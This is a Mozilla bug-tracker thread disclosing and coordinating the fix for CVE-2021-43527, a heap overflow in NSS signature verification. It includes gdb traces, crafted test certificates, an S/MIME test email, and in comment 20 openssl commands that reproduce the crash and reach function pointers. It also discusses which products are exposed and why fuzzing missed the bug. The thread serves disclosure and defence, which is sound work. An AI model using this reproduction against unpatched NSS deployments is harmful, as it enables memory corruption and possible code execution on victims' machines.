1737470 - (CVE-2021-43527) Memory Corruption in decodeECorDsaSignature with DSA signatures (and RSA-PSS)

Reporter

Description

•

3 years ago

Attached file decoderECorDsaSignature.pem — Details

I've found an exploitable memory corruption flaw when validating ECDSA signatures.

The VFYContext structure contains a decoded digital signature from a DER encoded certificate, and is defined like this in cryptohi/secvfy.c:

https://searchfox.org/mozilla-central/source/security/nss/lib/cryptohi/secvfy.c#120

struct VFYContextStr {
    SECOidTag hashAlg; /* the hash algorithm */
    SECKEYPublicKey *key;
    /*
     * This buffer holds either the digest or the full signature
     * depending on the type of the signature (key->keyType).  It is
     * defined as a union to make sure it always has enough space.
     *
     * Use the "buffer" union member to reference the buffer.
     * Note: do not take the size of the "buffer" union member.  Take
     * the size of the union or some other union member instead.
     */
    union {
        unsigned char buffer[1];

        /* the full DSA signature... 40 bytes */
        unsigned char dsasig[DSA_MAX_SIGNATURE_LEN];
        /* the full ECDSA signature */
        unsigned char ecdsasig[2 * MAX_ECKEY_LEN];
        /* the full RSA signature, only used in RSA-PSS */
        unsigned char rsasig[(RSA_MAX_MODULUS_BITS + 7) / 8];
    } u;
    unsigned int pkcs1RSADigestInfoLen;
    /* the encoded DigestInfo from a RSA PKCS#1 signature */
    unsigned char *pkcs1RSADigestInfo;
    void *wincx;
    void *hashcx;
    const SECHashObject *hashobj;
    SECOidTag encAlg;    /* enc alg */
    PRBool hasSignature; /* true if the signature was provided in the
                          * VFY_CreateContext call.  If false, the
                          * signature must be provided with a
                          * VFY_EndWithSignature call. */
    SECItem *params;
};

In the code above, MAX_EC_KEY is 72.

The definition of decodeECorDsaSignature() is here:

https://searchfox.org/mozilla-central/source/security/nss/lib/cryptohi/secvfy.c#173

static SECStatus
decodeECorDSASignature(SECOidTag algid, const SECItem *sig, unsigned char *dsig,
                       unsigned int len)

Here dsig will usually point at a VFYContext.u.ecdsasig, but len is the length of the (untrusted) signature. Therefore, it's the responsibility of decodeECorDSASignature to verify that that the length is under MAX_ECKEY_LEN. This is done correctly for SEC_OID_ANSIX962_EC_PUBLIC_KEY:

    if (algid == SEC_OID_ANSIX962_EC_PUBLIC_KEY) {
        if (len > MAX_ECKEY_LEN * 2) {
            PORT_SetError(SEC_ERROR_BAD_DER);
            return SECFailure;
        }
    }

This seems like a fragile design though, and indeed this routine also handles SEC_OID_ANSIX9_DSA_SIGNATURE but doesn't check the length in that case. I've made and attached a demo certificate.

(gdb) list
196	    dsasig = DSAU_DecodeDerSigToLen((SECItem *)sig, len);
197	
198	    if ((dsasig == NULL) || (dsasig->len != len)) {
199	        rv = SECFailure;
200	    } else {
201	        PORT_Memcpy(dsig, dsasig->data, dsasig->len);
202	    }
203	
204	    if (dsasig != NULL)
205	        SECITEM_FreeItem(dsasig, PR_TRUE);
(gdb) p dsasig->len
$14 = 4096
(gdb) x/10xb dsasig->data 
0x621000001500: 0xee    0xee    0xee    0xee    0xee    0xee    0xee    0xee
0x621000001508: 0xee    0xee

This is from my DER:

$ openssl x509 -inform DER -text -noout < decodeECorDSASignature.der 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: dsaWithSHA1
        Issuer: CN = decodeECorDSASignature-testCase/taviso
        Validity
            Not Before: Jan  1 00:00:00 2021 GMT
            Not After : Jan  1 00:00:00 2041 GMT
        Subject: CN = decodeECorDSASignature-testCase/taviso
        Subject Public Key Info:
            Public Key Algorithm: dsaEncryption
                pub:  (Negative)
                    22:22:22:22:22:22:22:22:22:22:22:22:22:22:22:
        ...
            Signature Algorithm: dsaWithSHA1
         r:   
             00:ee:ee:ee:ee:ee:ee:ee:ee:ee:ee:ee:ee:ee:ee:
        ...

And where did dsig come from?

(gdb) up
#1  0x0000000000b52a08 in vfy_CreateContext (key=0x61d00000bea0, sig=0x7fffffffc8a0, encAlg=SEC_OID_ANSIX9_DSA_SIGNATURE, hashAlg=SEC_OID_SHA1, hash=0x7fffffffc8f0, wincx=0x0) at secvfy.c:499
499	                rv = decodeECorDSASignature(encAlg, sig, cx->u.buffer, sigLen);
(gdb) pt cx->u
type = union {
    unsigned char buffer[1];
    unsigned char dsasig[64];
    unsigned char ecdsasig[144];
    unsigned char rsasig[2048];
}

Any value length greater than 2048 (the largest union member) will corrupt memory. From here you can execute code or corrupt the VFYContextStr, allowing any signature or certificate to verify.

Project Zero Boilerplate:

This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2022-01-22.

Benjamin Beurdouche [:beurdouche]

Comment 1

•

3 years ago

Thanks for the report Tavis !

Flags: needinfo?(bbeurdouche)

taviso

Reporter

Comment 2

•

3 years ago

I haven't checked if the same bug affects macOS, IIUC they forked an ancient version of NSS? Maybe you know the right people to ask.

This code seems to have been around for a long time (at least since 2008 or so?)

Oh, I used SHA-1 in my test certificate, but I can't remember if that required a build-time option to enable. It doesn't matter for the bug, so I can make a SHA-256 version, or non-self signed version if that helps.

Benjamin Beurdouche [:beurdouche]

Comment 3

•

3 years ago

(In reply to taviso from comment #2)

I haven't checked if the same bug affects macOS, IIUC they forked an ancient version of NSS? Maybe you know the right people to ask.

I'll have a look if this code is used on macOS and reach out to them if it is the case.

This code seems to have been around for a long time (at least since 2008 or so?)

At least, indeed, but it might actually be much older...

Oh, I used SHA-1 in my test certificate, but I can't remember if that required a build-time option to enable. It doesn't matter for the bug, so I can make a SHA-256 version, or non-self signed version if that helps.

I am pretty sure it didn't require an option, though in Firefox we might have more guards against using these certificates.
I'll have a look and keep you in the loop ! : ) Thank you !

taviso

Reporter

Comment 4

•

3 years ago

The hashobj contains function pointers, so redirecting execution is trivial:

https://searchfox.org/mozilla-central/source/security/nss/lib/cryptohi/secvfy.c#622

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7d6625c in VFY_Begin () from /usr/lib/x86_64-linux-gnu/libnss3.so
(gdb) bt
#0  0x00007ffff7d6625c in VFY_Begin () from /usr/lib/x86_64-linux-gnu/libnss3.so
#1  0x00007ffff7d66635 in ?? () from /usr/lib/x86_64-linux-gnu/libnss3.so
#2  0x00007ffff7d66984 in VFY_VerifyDataWithAlgorithmID () from /usr/lib/x86_64-linux-gnu/libnss3.so
#3  0x00007ffff7d5bf07 in CERT_VerifySignedDataWithPublicKey () from /usr/lib/x86_64-linux-gnu/libnss3.so
#4  0x00007ffff7d5c1dd in CERT_VerifySignedData () from /usr/lib/x86_64-linux-gnu/libnss3.so
#5  0x00007ffff7d5c881 in ?? () from /usr/lib/x86_64-linux-gnu/libnss3.so
#6  0x00007ffff7d5dc13 in CERT_VerifyCertificate () from /usr/lib/x86_64-linux-gnu/libnss3.so
#7  0x000055555555a1c9 in ?? ()
#8  0x00007ffff7b76e4a in __libc_start_main (main=0x555555559aa0, argc=2, argv=0x7fffffffdec8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:314
#9  0x000055555555a75a in ?? ()
(gdb) x/i $pc
=> 0x7ffff7d6625c <VFY_Begin+28>:	call   QWORD PTR [rax+0x18]
(gdb) p/x $rax
$1 = 0x4141414141414141

(I'm just using vfychain to test)

Dana Keeler (she/her) (use needinfo) [:keeler] (on leave)

Comment 5

•

3 years ago

•

Edited

~~At a glance, Firefox is vulnerable to this in multiple places.~~
Looking closer, since Firefox always specifies SEC_OID_ANSIX962_EC_PUBLIC_KEY and only accepts EC keys, it doesn't seem to be vulnerable to this.

Benjamin Beurdouche [:beurdouche]

Comment 6

•

3 years ago

@Tavis, I checked with them, Apple apparently don't use that code.

taviso

Reporter

Comment 7

•

3 years ago

Understood, thanks so much for checking!

Daniel Veditz [:dveditz]

Updated

•

3 years ago

Status: UNCONFIRMED → NEW

Ever confirmed: true

Whiteboard: [disclosure deadline is 2022-01-22]

Daniel Veditz [:dveditz]

Updated

•

3 years ago

status-firefox93: --- → affected

status-firefox94: --- → affected

status-firefox95: --- → affected

status-firefox-esr78: --- → affected

status-firefox-esr91: --- → affected

tracking-firefox94: --- → +

tracking-firefox95: --- → +

tracking-firefox-esr91: --- → 94+

Keywords: csectype-bounds, sec-critical

Dennis Jackson

Assignee

Comment 8

•

3 years ago

Attached file Bug 1737470 - Ensure DER encoded signatures are within size limits. r=jschanck,mt,bbeurdouche,rrelyea — Details

Benjamin Beurdouche [:beurdouche]

Comment 9

•

3 years ago

•

Edited

@Bob, our current thinking is that Firefox is not affected because of the way mozpkix builds the certificate chains.
Can you please have a look and see how this affects RedHat, so that we can coordinate on which NSS release to target? Thx

Flags: needinfo?(rrelyea)

Benjamin Beurdouche [:beurdouche]

Comment 10

•

3 years ago

@Tavis, from what we could see, it really looks to us like an issue with DSA certs and not an ECDSA ones (title), is that correct or are we missing something obvious? :) Thank you!

Flags: needinfo?(taviso)

taviso

Reporter

Comment 11

•

3 years ago

Oops, my mistake.

I did a little spelunking in the commit history, you can see the current code starts to take form here:

https://hg.mozilla.org/projects/nss/diff/6a5aef244b4390570f4066f6e304752217223988/security/nss/lib/cryptohi/secvfy.c#l1.114

That is an accurate refactor of the previous code, so the bug wasn't introduced here (just copied over to the new form).

I think the original code had this bug (from around 2003), and it just survived 20 years of refactoring:

https://hg.mozilla.org/projects/nss/annotate/41f5eb9e5df23951883ba3243f3ae51550663d77/security/nss/lib/cryptohi/secvfy.c#l145

I'm a bit confused why this wasn't caught earlier, I was doing some (moderately) novel fuzzing, but this doesn't seem like it should have required any new groundbreaking research. Perhaps the difference is that I've been annoying colleagues with ASN.1 encoding questions for a few weeks, and using it to improve my fuzzing :)

Flags: needinfo?(taviso)

taviso

Reporter

Comment 12

•

3 years ago

Perhaps you've already noticed this, but the exact same bug exists here with SEC_OID_PKCS1_RSA_PSS_SIGNATURE:

https://searchfox.org/mozilla-central/source/security/nss/lib/cryptohi/secvfy.c#484

I've made a demo certificate, would you like it, or did you already know about it?

taviso

Reporter

Comment 13

•

3 years ago

Attached file rsapss-testcase.der — Details

I guess it does not harm to have another testcase. I made it by hand, it is probably not well formed.

I don't have a good way to test mozpkix, do didn't test it there.

$ openssl x509 -inform DER -text < testcase.der 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 2 (0x2)
        Signature Algorithm: rsassaPss         (INVALID PSS PARAMETERS)
        Issuer: emailAddress = taviso@google.com, CN = bug1737470
        Validity
            Not Before: Jan  1 00:00:00 2020 GMT
            Not After : Jan  1 00:00:00 2040 GMT
        Subject: emailAddress = taviso@google.com, CN = bug1737470
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (22608 bit)
                Modulus:
                    00:c4:44:44:44:44:44:44:44:44:44:44:44:44:44:
<snip>
                Exponent: 65537 (0x10001)
    Signature Algorithm: rsassaPss         
         Hash Algorithm: sha1 (default)
         Mask Algorithm: mgf1 with rsassaPss
          Salt Length: 0x20
         Trailer Field: 0xBC (default)

         00:c5:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:
<snip>

Ryan VanderMeulen [:RyanVM]

Updated

•

3 years ago

status-firefox93: affected → wontfix

status-firefox-esr78: affected → wontfix

taviso

Reporter

Comment 14

•

3 years ago

This also seems vulnerable, but I think there is no way to reach it from within NSS, because sig is usually NULL:

https://searchfox.org/mozilla-central/source/security/nss/lib/cryptohi/secvfy.c#698

But I can see external uses that might be vulnerable:

https://searchfox.org/mozilla-central/source/modules/libmar/verify/cryptox.c#94

(I didn't make a test case, but I can make you one if you want)

Daniel Veditz [:dveditz]

Comment 15

•

3 years ago

Because it appears Firefox is not vulnerable to a drive-by attack we're not going to rush this into a Release-candidate respin of Firefox 94. There may be a Firefox 94 point-release in a couple of weeks a fix could go into if necessary, otherwise Firefox 95 seems safe enough. That will give us space to audit for similar occurrences rather than just reacting, and also give us more time to coordinate with Linux distros who may have non-Firefox code that use these signatures. (Firefox may be vulnerable if users explicitly import certs, buried deep in our UI; checking on that)

tracking-firefox94: + → -

tracking-firefox-esr91: 94+ → 95+

taviso

Reporter

Comment 16

•

3 years ago

Doesn't Firefox use mar archives?

taviso

Reporter

Comment 17

•

3 years ago

Sorry, I misunderstood - you meant that isn't "drive by", not that Firefox didn't use it. Fair enough.

Daniel Veditz [:dveditz]

Comment 18

•

3 years ago

I'm a bit confused why this wasn't caught earlier, I was doing some (moderately) novel fuzzing, but this doesn't seem like it should have required any new groundbreaking research.

I'm surprised as well -- we have indeed done targeted cert fuzzing in the past. Currently I believe the only NSS fuzzing is what's being done on oss-fuzz but I don't know what it covers.

Adding Kai because this might have pose a more exposed risk for Thunderbird users if S/MIME supports these signature types. Can you check that out, Kai?

Flags: needinfo?(kaie)

Summary: Memory Corruption in decodeECorDsaSignature with ECDSA signatures → Memory Corruption in decodeECorDsaSignature with DSA signatures (and RSA-PSS)

Daniel Veditz [:dveditz]

Comment 19

•

3 years ago

(In reply to taviso from comment #17)

Sorry, I misunderstood - you meant that isn't "drive by", not that Firefox didn't use it. Fair enough.

Correct -- not minimizing the badness of this bug, just trying to judge risk/exposure. Landing a patch like this will likely lead to folks scouring the code looking for similar mistakes (as you yourself are doing). If the exploitation risk is "easy drive-by" we could patch what we can immediately, force through an emergency update, and hope for the best. If there are mitigating factors it's better to do a more thorough code review and more testing, and spare the release teams (build, QA, server ops, etc) the stress of an emergency release.

S/MIME is a worrying thought we need to check out. If affected that might be the "drive-by" that raises the alarm level again. It's a bad time for an emergency release for them because we're in the middle of the transition from 78.x releases to 91.x releases, and people hold back.

taviso

Reporter

Comment 20

•

3 years ago

(In reply to Daniel Veditz [:dveditz] from comment #18)

I'm surprised as well -- we have indeed done targeted cert fuzzing in the past. Currently I believe the only NSS fuzzing is what's being done on oss-fuzz but I don't know what it covers.

I've actually been looking into this for a postmortem, I'm trying to figure out how this was missed, here are some of my notes:

The easiest way to demonstrate this bug is with RSA-PSS. In fact, just these three commands should work:

Note: it will take a while to generate a >16000 bit key

# We need 16384 bits to overflow the buffer, then 32 + 64 + 64 + 64 bits to reach hashobj, 
# which contains function pointers (bigger would work fine too, but takes longer).
$ openssl genpkey -algorithm rsa-pss -pkeyopt rsa_keygen_bits:$((16384 + 32 + 64 + 64 + 64)) -out bigsig.key
# Generate a self signed certificate from that key
$ openssl req -x509 -new -key bigsig.key -subj "/CN=BigSig" -sha256 -out bigsig.cer
# Verify it with NSS...
$ vfychain -a bigsig.cer 
Segmentation fault

Was this a recent code change or regression that hadn’t been around long enough to be discovered? No, a vulnerable version of the code for DSA was checked in on the 17th October 2003, and survived nearly 20 years of refactoring.
Does this bug require a long time to generate a key that triggers the bug? No, the example above generates a real key and signature, but it can just be garbage as the overflow happens before the signature check. A few kilobytes of A’s works just fine.
Does reaching the vulnerable code require some complicated state that fuzzers and static analyzers would have difficulty synthesizing, like hashes or checksums? No, it would have to be well-formed DER, that’s about it.
Is this an uncommon code path? No, the main entrypoint for certificate verification in NSS, CERT_VerifyCertificate(), is vulnerable. Effectively any use of NSS is affected.

This wasn’t a process failure, the vendor did everything right. Mozilla has a mature, world-class security team. They pioneered bug bounties and obsess over memory safety, fuzzing and test coverage.

NSS was one of the very first projects included with oss-fuzz, it was officially supported since at least October 2014 including a collection of custom mutators. Mozilla also fuzz NSS themselves with libFuzzer, and their own mutator collection. They also have a distilled coverage corpus, an extensive testsuite, and nightly ASAN builds.

I'm generally skeptical of static analysis, but this seems like a simple missing bounds check that should be easy to find. Coverity has been monitoring NSS since at least December 2008, and also failed to discover this.

Did mozilla have good test coverage for the vulnerable areas? YES.
Did mozilla/chrome/oss-fuzz have relevant inputs in their fuzz corpus? YES.
Is there a mutator capable of extending ASN1_ITEMs? YES.
Is the minimum input size to trigger the bug "too big" for libFuzzer mutators to attempt? NO, libFuzzer dynamically adjusts the size based on the coverage corpus. I was able to make a testcase that is just 4397 bytes, and there are 2440 bigger inputs in the nss corpus.
Is this an intra-object overflow, or other rare form of corruption that ASAN would have difficulty detecting? NO, it's a textbook buffer overflow that ASAN can easily detect.

I guess the conclusion is that you can do everything right and still get bugs like this, because native code is dangerous code.

Robert Relyea

Comment 21

•

3 years ago

I don't think it's a good assumption that Firefox is not vulnerable. VFYContext is part of the generic NSS signature processing. Just because the example attack uses signatures in certificates, doesn't mean we can't be forced to verify a bad signature. Namely one can force a bad signature in a middle of an SSL connection.

I recommend we treat is as real and live for Firefox.

bob

Flags: needinfo?(rrelyea)

Benjamin Beurdouche [:beurdouche]

Comment 22

•

3 years ago

Many of us have looked at it by now multiple times and we are getting convinced that, even during a TLS handshake, because of the way we go through moz::pkix, an adversarial certificate wouldn’t lead to trigger the verification function (moz::pkix does not and never had support for DSA nor RSA PSS). Obviously, we are taking this very seriously and will keep doing so as a priority for the next coming days.

The current doubts we have are about a potential issue when a user is performing certain actions in the client certificate context.
We are also making assessments in the context of Addons, Content Signatures, Firefox Accounts and will report back…

Robert Relyea

Comment 23

•

3 years ago

I'm not toking about checking Certificate signatures. That's just the example of how to attack this. I'm talking about mangling the DSA signature coming back from an SSL handshake, say in TLS_DHE_DSS_ connection.

The fact that's it's DSA only makes this less of a problem, since it could be that all DSS algorithms are off be default...

Ryan Sleevi

Comment 24

•

3 years ago

(In reply to Robert Relyea from comment #23)

I'm not toking about checking Certificate signatures. That's just the example of how to attack this. I'm talking about mangling the DSA signature coming back from an SSL handshake, say in TLS_DHE_DSS_ connection.

The fact that's it's DSA only makes this less of a problem, since it could be that all DSS algorithms are off be default...

Bob: The TLS layer doesn't use the VFY_ abstraction layer (nor vfy_VerifyData), they directly use the PK11 functions (e.g. in https://searchfox.org/nss/source/lib/ssl/ssl3con.c )

Tavis: Regarding good (fuzz) coverage, this family of functions aren't covered by fuzzed data themselves. That is, you're likely seeing positive fuzzer coverage because of https://searchfox.org/nss/source/fuzz/tls_server_certs.cc , but that uses fixed certs, not fuzzed certs. That may explain why you see corpus inputs exercising the code, but failing to find.

taviso

Reporter

Comment 25

•

3 years ago

(In reply to Ryan Sleevi from comment #24)
t could be that all DSS algorithms are off be default...

Bob: The TLS layer doesn't use the VFY_ abstraction layer (nor vfy_VerifyData), they directly use the PK11 functions (e.g. in https://searchfox.org/nss/source/lib/ssl/ssl3con.c )

FWIW, I put a breakpoint on VFY_CreateContext with condition $_any_caller_matches("mozilla::pkix", 50) == 0. Apart from the matches already mentioned in comment 22 (Manifests, Content Signatures, etc), there were various hits via ssl_VerifySignedHashesWithPubKey. I'm not sure I really understand the context though, is that relevant?

Tavis: Regarding good (fuzz) coverage, this family of functions aren't covered by fuzzed data themselves. That is, you're likely seeing positive fuzzer coverage because of https://searchfox.org/nss/source/fuzz/tls_server_certs.cc , but that uses fixed certs, not fuzzed certs. That may explain why you see corpus inputs exercising the code, but failing to find.

Hmm, I think you're right - that seems worth fixing, I'll look into it!

Ryan Sleevi

Comment 26

•

3 years ago

Ah, thanks Tavis. Not sure why my code query failed - although it looks like NSS explicitly calls the (not buggy, AIUI) PK11 methods for PSS and DSA.

Hmm, I think you're right - that seems worth fixing, I'll look into it!

Yeah, right now only a cluster of decode functions are fuzzed with arbitrary inputs, along with the TLS state machine. No signature verification fuzzing happens.

It probably is worth reviving Bug 1253107 as part of that. One element that is new from when I was last fuzzing these was the fuzzer pre processor macro of FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION, which makes it a bit easier to skip the zeroization without having to worry about the FIPS implications. That should hopefully make these extra functions a bit more reasonable.

Kai Engert (:KaiE:)

Comment 27

•

3 years ago

(In reply to Daniel Veditz [:dveditz] from comment #18)

Adding Kai because this might have pose a more exposed risk for Thunderbird users if S/MIME supports these signature types. Can you check that out, Kai?

Thunderbird seems affected, sending an email with a S/MIME signature that contains a malicious certificate is sufficient.

When performing an S/MIME signature verification...
https://searchfox.org/comm-esr91/rev/cc5a292314d25cc582225fd22a20f7bd3b0f6072/mailnews/extensions/smime/nsCMS.cpp#158

... one the first thing done is importing all the certificate that are seen in the incoming signature:
https://searchfox.org/comm-esr91/rev/cc5a292314d25cc582225fd22a20f7bd3b0f6072/mailnews/extensions/smime/nsCMS.cpp#241

That code wants to import valid certificates, only, and NSS_CMSSignedData_ImportCerts calls CERT_VerifyCert:
https://searchfox.org/nss/rev/8c23e8e507c132e74fd5b98e472b76200b9a6984/lib/smime/cmssigdata.c#591

I don't see any filtering for signature algorithms prior to doing the above, apparently any incoming certificate will be fed to CERT_VerifyCert.

Note that there's code later that wants to obtain the validity of the signature. While that code also eventually calls CERT_VerifyCert (through NSS_CMSSignedData_VerifySignerInfo and NSS_CMSSignerInfo_VerifyCertificate), that code isn't executed unless a check with the mozilla::pkix verifier reports the signing certificate as currently valid. If mozilla::pkix causes certificates reported in this bug as invalid, then we won't reach the CERT_VerifyCert code path.

We probably cannot skip the initial call to NSS_CMSSignedData_ImportCerts, the certs are imported to ensure they will be available during verification, for building the chain of the signing certificate.

If mozilla::pkix verification detects/rejects the bad certificates, we could modify the initial importing to use the same strategy, call mozilla::pkix first. Avoding to require a new API in a chemspill, we'd have to copy the implementation of NSS_CMSSignedData_ImportCerts into Thunderbird, and tweak it accordingly.

Flags: needinfo?(kaie)

Kai Engert (:KaiE:)

Comment 28

•

3 years ago

•

Edited

Please help me clarify my assumption from comment 27:

Does comment 9 mean that mozpkix is not vulnerable, and will detect and reject such crafted certificates, when calling GetDefaultCertVerifier()->VerifyCert() ?

taviso

Reporter

Comment 29

•

3 years ago

Attached file smime-test.eml — Details

(In reply to Kai Engert (:KaiE:) from comment #28)

Please help me clarify my assumption from comment 27:

Does comment 9 mean that mozpkix is not vulnerable, and will detect and reject such crafted certificates, when calling GetDefaultCertVerifier()->VerifyCert() ?

Kai: I made you a test email, I just inserted my demo cert into an example s/mime pkcs7 blob I found on github, can you try it? (I'm not really familiar with Thunderbird sorry)

I found the original email here, if the syntax is bad, maybe you can try fixing it up (I just manually patched it).

Flags: needinfo?(kaie)

Kai Engert (:KaiE:)

Comment 30

•

3 years ago

Thanks Tavis! I will test very soon, and I'm making this top priority, will spend today on this issue.

Thunderbird technical manager mkmelin asked to be CC'ed to this bug, but we probably want to keep the CC list at a minimum right now. I guess at this time, accidentally spreading information about this bug is the highest risk.

Benjamin Beurdouche [:beurdouche]

Comment 31

•

3 years ago

I agree, I might CC at least one person from Apple so that they can double check that they are not affected though.

Kai Engert (:KaiE:)

Comment 32

•

3 years ago

I think I have good news for the Thunderbird situation, but step by step:

The attached S/MIME test email crashes Thunderbird in CERT_VerifyCert, so it's confirmed TB is vulnerable.

Then I modified TB to test the theory from comment 27.
For each cert that NSS wants to import, the test code starts by calling mozpkix::VerifyCert. If that fails, we skip import (and thereby skip CERT_VerifyCert).

This doesn't crash. We don't crash in the import step. And we don't crash in the signature verify step (which already calls mozpkix::VerifyCert prior to calling CERT_VerifyCert).

The patch I have has to copy a few functions from NSS to Thunderbird code. But it should be safe to copy those implementation details, we can assume they won't change on the stable TB 91 branch, and for comm-central, we can plan to undo that shortly afterwards. The reason is that we cannot easily add new NSS APIs on the stable branch, and copying the functions avoids new APIs on the stable branch.

We could add this patch to Thunderbird using a decoy bug.
We could file a new bug, which says we want to perform some additional verification prior to importing certs, for consistency with the existing signature validation code.

I think the decoy bug could be public, and we'd explain as little as possible. I'd talk to a Thunderbird reviewer in private to get them to confirm the Thunderbird code change.
The actual review could happen here (or, if you prefer to keep this bug small, file a separate security sensitive bug for the TB patch review discussion.)

I'm attaching the patch in here, so you can have a first look.

Flags: needinfo?(kaie)

Kai Engert (:KaiE:)

Comment 33

•

3 years ago

My only remaining question at this point is:

Is mozpkix known to avoid the crash, or are we just lucky that it doesn't crash with this example message?

Kai Engert (:KaiE:)

Comment 34

•

3 years ago

Attached patch Thunderbird decoy workaround, v1 (moved to bug 1738501) (obsolete) — Details — Splinter Review

Ryan Sleevi

Comment 35

•

3 years ago

re: Comment #33
mozpkix appears to avoid this issue because:

It does not accept DSA certificates
It does not accept RSA-PSS certificates

The relevant code for verifying signatures is https://searchfox.org/mozilla-central/rev/daa5c195e5efe45a63bf79f97ae77419b16f62f1/security/nss/lib/mozpkix/lib/pkixnss.cpp#84-100 - those are the only two entry points into the affected function

That's because these are the only two algorithms mozpkix allows through its embedder interface

Ryan Sleevi

Comment 36

•

3 years ago

So I think if you're looking at taking that route for TB (routing through mozpkix), the question will be: are you comfortable changing the supported signature algorithms to those of mozpkix, or will that be a regression for your TB use cases?

Kai Engert (:KaiE:)

Comment 37

•

3 years ago

Ryan, thanks a lot for the explanation. I wasn't aware. I didn't intend to disable algorithms. I need to research if we must support those for S/MIME.

taviso

Reporter

Comment 38

•

3 years ago

I haven't tested, but I'm told this probably affects Java when operating in FIPS mode? I don't know if that's a common enough configuration that we should also inform Oracle?(In reply to Benjamin Beurdouche [:beurdouche] from comment #31)

I agree, I might CC at least one person from Apple so that they can double check that they are not affected though.

I haven't tested, but I'm told this probably affects Java when operating in FIPS mode? I don't know if that's a common enough configuration that we should also inform Oracle, perhaps you know?

Kai Engert (:KaiE:)

Comment 39

•

3 years ago

Actually:

Currently, when verifying the certificate that was used to sign an email, Thunderbird already starts by using mozpkix to verify the signing certificate:
https://searchfox.org/comm-esr91/rev/cc5a292314d25cc582225fd22a20f7bd3b0f6072/mailnews/extensions/smime/nsCMS.cpp#261

If mozpkix cannot verify the signing certificate, TB will treat the signature as invalid.

I don't see bug reports in the Security:S/MIME component mentioning the term DSA. It looks like nobody has complained that S/MIME signatures from DSA certificates are always shown as invalid.

The patch here will prevent the import of DSA certificates that are received as part of an S/MIME message. If that's the only path a user uses to obtain encryption certificates, then the patch will also prevent the import of encryption certificates. This is a regression.

I think I'm willing to accept that. Users could still import such certificates using other approaches, e.g. manual certificate manager import, or downloading from LDAP.

The highest priority for me is stopping the drive-by attack, having users at risk simply by receiving an email. If we learn that we have TB users that depend on DSA certificates, we could remove this workaround, once NSS with the crash fix is ready.

Benjamin Beurdouche [:beurdouche]

Comment 40

•

3 years ago

I haven't tested, but I'm told this probably affects Java when operating in FIPS mode? I don't know if that's a common enough configuration that we should also inform Oracle, perhaps you know?

Thanks for that info Tavis!
Kai, Bob, do you know if and how Oracle is using NSS? I didn't know about it.

Flags: needinfo?(rrelyea)

Flags: needinfo?(kaie)

taviso

Reporter

Comment 41

•

3 years ago

FWIW, here are my current notes on what I think went wrong with the fuzzing. If you would like to see a full draft of my postmortem please let me know (it's in a google doc, but I can send you a PDF).

How did extensive, customized fuzzing with impressive metrics fail to discover this bug?

Issue #1 Missing end-to-end testing.

NSS is a highly modular library. This layered design is reflected in the fuzzing, as each component is fuzzed individually. For example, the QuickDER decoder is tested extensively, but the fuzzer simply creates and discards objects and never uses them.

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
 char *dest[2048];
 
 for (auto tpl : templates) {
   PORTCheapArenaPool pool;
   SECItem buf = {siBuffer, const_cast<unsigned char *>(Data),
                  static_cast<unsigned int>(Size)};
 
   PORT_InitCheapArena(&pool, DER_DEFAULT_CHUNKSIZE);
   (void)SEC_QuickDERDecodeItem(&pool.arena, dest, tpl, &buf);
   PORT_DestroyCheapArena(&pool);
 }

Fig n. The QuickDER fuzzer simply creates and discards objects. This verifies the ASN.1 parsing, but not the resulting objects.

This fuzzer might have produced a SECKEY_DSA_PublicKey that could have reached the vulnerable code, but as it was never used to verify a signature the bug was never triggered.

Issue #2 Arbitrary size limits.

If the QuickDER fuzzing target had attempted to call cryptographic APIs with fuzzed objects, this bug would still not have been discovered because there is an arbitrary size limit of 2048 bytes in the created fuzzed objects.

This choice is arbitrary, there is no such limit within NSS, many structures and templates can legitimately exceed this. As the key size necessary to trigger this bug must exceed 2048 bytes, even if libFuzzer had produced ASN.1 that would have triggered the bug, QuickDER would have failed to decode it.

It makes sense to reflect the real limitations of NSS while fuzzing, rather than arbitrarily chosen limits. In fact, it probably makes sense to exceed the limitations of NSS. In this case, in order to trigger an ASAN warning at least 24 additional bytes were required to exceed the bounds of the heap allocation. While a smaller overflow would still be dangerous, these intra-object overflows are invisible to ASAN.

Issue #3 Misleading metrics.

The NSS fuzzers are represented in single combined coverage metrics by oss-fuzz, rather than their individual coverage. This data proved misleading, the vulnerable code is fuzzed extensively but by fuzzers that could not possibly generate a relevant input.

This is because the fuzzers like the tls_server_target use fixed, hardcoded certificates while they fuzz TLS messages and protocol states.

taviso

Reporter

Comment 42

•

3 years ago

(In reply to taviso from comment #41)

Issue #2 Arbitrary size limits.

I'm wrong about this, the limit is higher and on the libFuzzer input not output - Ryan pointed out my error. I think the other points remain valid!

Robert Relyea

Comment 43

•

3 years ago

I know Red Hat uses NSS and Java in FIPS mode, I suspect Oracle does as well (they do have their own NSS FIPS validation). That being said, I'm not sure FIPS will affect the outcome. Red Hat disables DSA by policy (by default) on all their libraries in RHEL-8 even in FIPS mode.

I'm mildly surprised that mozpkix hasn't grown RSA-PSS support yet with the push to move off of RSA-PKCS.

Martin Thomson [:mt:]

Comment 44

•

3 years ago

PSS support is planned, but there have been other more pressing concerns.

Kai Engert (:KaiE:)

Comment 45

•

3 years ago

I have filed decoy bug 1738501 for the suggested Thunderbird workaround. I'll move the Thunderbird patch over, and ask there for a review.

Also, I don't have much information about Oracle's use of NSS. All I know is that they forked server products in the past that use NSS. We have a private NSS discussion list, and we used to have someone from Oracle on that list. If you have trouble finding a contact at Oracle, we could try asking on that list for current users of NSS at Oracle.

Flags: needinfo?(kaie)

Kai Engert (:KaiE:)

Updated

•

3 years ago

Attachment #9248424 - Attachment description: Thunderbird decoy workaround, v1 → Thunderbird decoy workaround, v1 (moved to bug 1738501)

Attachment #9248424 - Attachment is obsolete: true

Kai Engert (:KaiE:)

Comment 46

•

3 years ago

